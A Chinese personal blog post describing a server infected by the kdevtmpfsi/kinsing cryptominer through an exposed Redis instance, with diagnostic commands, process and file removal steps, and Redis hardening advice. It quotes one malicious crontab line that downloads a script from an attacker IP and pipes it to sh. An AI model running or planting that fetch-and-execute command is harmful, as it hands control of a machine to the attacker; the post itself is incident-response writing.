原创

woc 本站服务被挖矿???

才开几天就被挖矿了

事发前一天正在登陆系统,刷新前端页面忽然500,看了下服务日志,异常了我天,记录下

问题表现

刚开始的表象就是服务500,
查询服务日志,得到如下信息:

org.springframework.dao.InvalidDataAccessApiUsageException: READONLY You can't write against a read only replica.; nested exception is redis.clients.jedis.exceptions.JedisDataException: READONLY You can't write against a read only replica

顿时觉得诧异:一个单节点的redis怎么会报这个错,配置也没有问题,前两天还跑的好好的,保留证据,重启服务问题依然存在,重启redis问题消失,可以安稳了睡觉了吗,随手 free -m 检查内存占用(还凑合能用),再来下 top -i 好习惯,看到个polkitd后面余光一扫,wc cpu150%,指定是看花眼了,结果如下图:file

与kdevtmpfsi的故事

因为刚开始也没觉得服务多慢也没注意,过了几分钟忽觉细思极恐,幸亏刚开始就发现了,上网搜下:挖矿的,这是继学生时代之后的又一次服务中毒,好呆也是做过一丢丢的安全措施的,还是被攻击了,有意思,开始找大佬们的文章帮助:其中两篇很有效果,主要步骤总结如下:

top 查看cpu占用情况,找到占用cpu的进程 kdevtmpfsi
netstat -natp 根据上面的进程名查看与内网的 tcp 链接异常 ,看到陌生ip,查出为国外ip,估计主机被人种后门了
crontab -l 发现异常定时任务, * wget -q -O - http: //195.3.146.118/unk.sh | sh > /dev/null 2>&1 (我没有发现定时)

解决方法:kdevtmpfsi有守护进程,单独kill掉 kdevtmpfsi 进程会不断恢复占用。守护进程名称为 kinsing,需要kill后才能解决问题

systemctl status 2854 查询关联的守护进程,结果如下:
session-5649.scope - Session 5649 of user root
Loaded: loaded (/run/systemd/system/session-5649.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-5649.scope.d
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
Active: active (abandoned) since 一 2019-12-23 10:41:33 CST; 2 days ago
CGroup: /user.slice/user-0.slice/session-5649.scope
├─ 2854 /tmp/kdevtmpfsi
└─18534 ./kinsing1oZIY4Aid7

一切皆文件,开始搜索:

ps -aux | grep kinsing
ps -aux | grep kdevtmpfsi

杀死进程:

kill -9 2854
kill -9 18534

删除刚刚搜到的相关病毒文件:

rm -rf kdevtmpfsi
rm -rf /var/tmp/kinsing 记得这个守护进程的文件也要删掉,找不到的话,也可以用这个命令
find / -name kinsing
find / -name kdevtmpfsi 搜索结果如下(震惊!docker下有病毒文件,此时docker下正在运行的只有redis)
/var/lib/docker/overlay2/c8876e9836f0a4f1a9a8026c3ccf0f7cedfd5751205673cd35e25aaeb9d57b06/merged/tmp/kdevtmpfsi
/var/lib/docker/overlay2/c8876e9836f0a4f1a9a8026c3ccf0f7cedfd5751205673cd35e25aaeb9d57b06/diff/tmp/kdevtmpfsi

至此挖矿病毒文件基本都找到了,怎么会在redis里面,可能跟我拉取的redis:5镜像有关系,应该不是标准的,拉的时候也没注意看,拜拜docker rmi redis

后来,重新跑了个redis,远程连下竟然可以直接连得通,(又一次震惊)redis裸奔原因:root权限(防火墙未控制成功)、未绑定只有本机可连限制、未加密码
PS:重新安装redis(千万不要赋予root权限)服务,根据客户实际需要对特定IP开放端口(利用防火墙设置,尤其是必须对外(公网)提供服务的情况下),如果只是本机使用,绑定127.0.0.1:6379 ,增加认证口令

结论:懒省劲不是个好习惯,一切还是要稳着来

几个月没打开又备门罗币搞了:xmrig

参考 参考 参考 参考 参考 参考

我的网站

正文到此结束